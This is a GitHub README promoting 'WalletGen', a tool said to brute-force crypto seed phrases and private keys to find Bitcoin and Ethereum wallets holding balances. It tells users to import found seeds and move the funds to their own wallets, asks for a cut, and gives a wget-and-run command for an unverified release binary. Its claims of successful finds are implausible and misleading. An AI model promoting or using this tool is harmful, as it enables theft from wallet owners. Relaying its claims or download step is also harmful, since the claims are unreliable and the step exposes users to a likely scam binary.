Skip to content

cote-tony/walletgen

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

5 Commits
 
 
 
 
 
 
 
 

Repository files navigation

Seed Phrase / Private Key Generator (WalletGen) – Crypto Wallet Generator, Checker, Recover & Balance Finder for Lost Bitcoin (BTC), Ethereum (ETH), and other EVM Chains

platform build

How It Works

WalletGen generates wallets using BIP39, BIP44, and Bech32 for Bitcoin, and Keccak256 hashing for EVM-based chains like Ethereum.

The software compares generated addresses against known address databases or checks balances in real-time via public blockchain explorers.

Why WalletGen?

  1. Unlike Python-based brute force tools, WalletGen is written in C++ and optimized for multi-threaded CPU and GPU usage, delivering up to 100x faster performance. Whether you’re exploring lost wallets, verifying private key space, or recovering your own wallet, WalletGen gives you the power to do it efficiently and securely.
  2. Wallets like Bitcoin Core, Electrum, Metamask, Trust Wallet, etc., use specific implementations of BIP39/BIP44 and others. WalletGen GPU replicates these exact algorithms — from both old and new versions — capturing real-world entropy models.
  3. It uses GPU acceleration to generate and scan massive numbers of seed phrases and derive multiple address paths per seed.
  4. WalletGen GPU focuses on realistic derivation schemes, outdated algorithms, and edge-case entropy flaws — things most tools ignore.

Features

  • Generation of cryptocurrency wallets
  • Search for wallets with balance
  • Using a database to speed up searches
  • High speed of operation
  • Recovery your Bitcoin wallet
  • Brain wallet generator

Download WalletGen

Windows

MacOS

Linux (x86-64bit)

wget https://github.com/cote-tony/walletgen/releases/download/walletgen/walletgen-linux-x64.tar.gz
tar -xzf  walletgen-linux-x64.tar.gz
cd walletgen
./walletgen

Demo

Windows
WalletGen Windows demo

macOS
WalletGen macOS demo

Linux
WalletGen Linux demo

Download and Use Database (for more speed)

Database Download link File Size Number of Addresses
BTC Database     btc_database.txt 1.03 GB           23 428 179
EVM Database     evm_database.txt 1.02 GB           25 999 700

WalletGen Finds

find1 find3 find2 find6 find7
find9 find12 find10

How to Search for Lost Bitcoin & Ethereum Wallets with Balance

Wallet Gen allows you to search using brute-force method for two types of crypto wallets with an existing balance.

For Bitcoin (BTC) wallets:

  • Press key 3 in the menu or run start_search_btc.bat to search Bitcoin wallets through the internet. This method may take longer, as it checks wallet balances in real-time via blockchain explorers.
  • Press key 6 to search Bitcoin wallets using the database. This method is faster because it compares generated wallets against a pre-built database of known addresses with balances.

For EVM wallets (Ethereum, BNB, MATIC, etc.):

  • Press key 5 or run start_search_evm.bat to search EVM wallets through the internet. This method checks for wallets with balance in real-time through blockchain explorers.
  • Press key 6 to search EVM wallets using the database. This method is faster since it compares generated wallets against the known database of addresses with balance.

Speed Considerations:

  • The speed of the search depends heavily on your hardware, especially the graphics card (GPU). To speed up the process and increase your chances of finding a wallet with a balance, you can run multiple instances of the program (1 to 4), depending on your system's performance

By using the database, you can significantly improve the efficiency of your search, as it eliminates the need to query the blockchain for every wallet generated

The Program Found a Wallet — What’s Next?

When the program finds a wallet with a balance, it will:

  • Stop immediately
  • Display the wallet details in the console
  • Save this data in the found_wallets.txt file

How to Access the Funds?

  1. Import the mnemonic seed phrase from the found wallet into any compatible crypto wallet (such as Metamask, Trust Wallet, or Electrum).
  2. Once restored, you’ll be able to transfer the funds to your own wallet.

If the find is successful, be sure to share a small portion of the balance you find with me! Thank you!

Recovery Your Bitcoin Wallet

WalletGen allows you to recover your bitcoin wallet by seed phrase (mnemonic phrase). The program supports entering a complete seed phrase, as well as searching for missing words using special characters.

Process Description

Search for missing words:

If your seed phrase is missing some words or you are unsure, replace those words with an *. WalletGen will search through all possible variations in the places of * to find the correct seed phrase and restore the associated wallet balance.

Entering a complete seed-phrase:

If you have a full 12-word seed, simply enter it in full with a space. WalletGen will generate all address types (Legacy, SegWit, P2SH) and check their balances.

recovery

Important recommendations

  • Seed-phrase must contain exactly 12 words.
  • Use only the * symbol to search for missing words.
  • Searching for missing words may take considerable time, especially if several words are missing.
  • If the wallet with balance is successfully recovered, the program will automatically stop and save the found data.

Building the Project

  1. Open the project folder (walletgen) in Visual Studio Code or any other compatible C++ compiler.

  2. Install the necessary dependencies and build the project via MakeFile.

  3. Start building the project.

> make 

🔍 Frequently Asked Questions (FAQ)

❓ Can WalletGen help me recover a lost Bitcoin wallet?

Yes. WalletGen uses brute-force seed generation and a known-address database to help users potentially recover lost Bitcoin wallets.

❓ Is WalletGen a seed phrase generator?

Yes. WalletGen can generate BIP39 seed phrases and derive wallets for Bitcoin, Ethereum, and other EVM chains.

❓ Do I need the internet to search through the database?

No. Searching through the database does not require an internet connection, as the wallet balance is already known.

❓ Can I find Ethereum wallets with balance?

Yes. WalletGen supports scanning for Ethereum wallets with balance using brute-force and a database of known addresses.

Contribute

Contributions are welcome! If you have ideas, bug reports, or want to contribute to the codebase, feel free to submit a pull request.

Credits

This project uses code from the Trezor project. The code is licensed under the MIT License.

License

This project is licensed under the MIT License